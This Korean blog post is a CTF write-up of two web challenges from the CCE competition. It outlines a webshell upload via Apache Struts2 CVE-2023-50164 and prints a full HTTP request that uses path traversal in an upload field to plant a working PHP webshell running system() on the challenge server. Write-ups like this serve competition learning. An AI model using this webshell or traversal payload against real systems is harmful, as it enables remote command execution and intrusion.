
공공부분으로 진출하였긴 하지만 첫 본선 진출했던 cce.
짧은 후기와 예선과 본선에서 본인이 풀었던 웹 문제 2개를 정리해 보려 한다.

티오리 한번 잡아보자며 호기롭게 지었던 팀이름이였지만 부족한 실력만 깨닫게 되는 시간이였다.
물론 아무도 티오리를 이길수 있을거란 생각을 하진 않았지만, 팀원 모두 첫 본선 진출이니 만큼 많은 기대와 꼴등은 피하자는 생각으로 대회에 임했던것 같다.
공공부분 예선20위, 본선 14위로 아쉬운 성적표였지만, 너무 좋은경험이였고 앞으로 있을 CTF나 대회에서 본선진출만큼은 꼭 계속해내고 싶다는 간절한 생각이 들게 된 좋은 자극제였다.
본인은 예선에서 웹 1문제, 본선에서 웹 1문제를 풀었는데, 다행이도 제일 쉬운 문제가 웹문제로 나와서 한문제라도 풀고 집에갈 수 있게 되어 얼마나 다행이였는지 모른다.
1. [예선] OSJarvis
해당 문제는 CVE-2023-50164 취약점을 이용한 것으로, ApacheStruts2에서의 취약점을 이용한다. 웹페이지에 웹쉘을 업로드, rce 취약점을 이용하여 flag를 획득한다.


위 페이지에서 파일을 업로드 할 수 있고, proxy 툴을 사용하여 취약점을 이용, 웹쉘을 업로드 해줘야 한다.
upload 폴더에서 나와 webapp 폴더에 웹쉘을 저장하는 것이 목표이므로 다음과 같이 작성해 준다.

위와 같이 작성해주면 /webshell 경로로 접근할 시에 웹쉘 접근에 성공할 것이다.

REF
https://mokpo.tistory.com/804
https://www.igloo.co.kr/security-information/apache-struts2-%EC%9B%90%EA%B2%A9%EC%BD%94%EB%93%9C%EC%8B%A4%ED%96%89-%EC%B7%A8%EC%95%BD%EC%A0%90-cve-2017-9791-%EB%B6%84%EC%84%9D/.
2. [본선] 04-정보자원관리원

zip 파일 외에 업로드를 허용하지 않는 것처럼 보이지만, 업로드 후 die() 함수를 실행시키므로 업로드시 파일 확장자 제한은 없는셈이다.
이를 이용해 웹쉘을 업로드 하고 실행시킬수 있다면 랜덤값이 붙은 플래그 실행 파일역시 실행에 문제가 없을 것이다.
하지만 위 사진에서 die() 로 인해 random_name 변수값을 확인하지 못하는 문제가 있는데, 이는 다음과 같이 해결한다.

Options Indexes 설정으로 인해 디렉토리 인덱싱이 가능해졌으므로, 임의의 디렉토리를 생성후, 그곳에 웹쉘을 업로드하여 $random_name의 값을 몰라도 웹쉘 실행이 가능하다.

위 사진처럼 /api/register.php에서 uid 의 값을 경로조작하여 /var/www/html 아래 test123123 이라는 디렉토리를 생성할 수 있고, 이곳에 접속할 시 디렉토리 인덱싱이 가능하다.
이제 웹쉘파일을 해당 디렉토리안에 업로드 할 수 있다면, 공격이 성공 할 것이다.
POST /api/report_check.php HTTP/1.1 Host: 52.231.230.112:8090 Content-Length: 730 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://52.231.230.112:8090 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryy9VgoIhFOoRshA8K User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://52.231.230.112:8090/report Accept-Encoding: gzip, deflate Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=295f33f0145827c1b9c7b2738f631b7a Connection: close ------WebKitFormBoundaryy9VgoIhFOoRshA8K Content-Disposition: form-data; name="name" ../../var/www/html/test123123/ ------WebKitFormBoundaryy9VgoIhFOoRshA8K Content-Disposition: form-data; name="content" asdf ------WebKitFormBoundaryy9VgoIhFOoRshA8K Content-Disposition: form-data; name="evidence"; filename="test.php" Content-Type: text/plain <html> <body> <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET['cmd'])) { system($_GET['cmd'] . ' 2>&1'); } ?> </pre> |
/api/report_check.php 경로로 웹쉘 파일을 업로드하는 패킷.
name 값을 ../../var/www/html/test123123/ 로 경로조작하여 업로드한다.

웹쉘 파일이 정상적으로 업로드 되었다.

readflag-4TzpM7pw 실행파일을 확인 할 수 있다.

'Hacking > CTF' 카테고리의 다른 글
[2024] WolvCTF write-up (0) | 2024.03.17 |
---|---|
[HSPACE-CTF] SSWAF (bypass WAF) (0) | 2022.12.17 |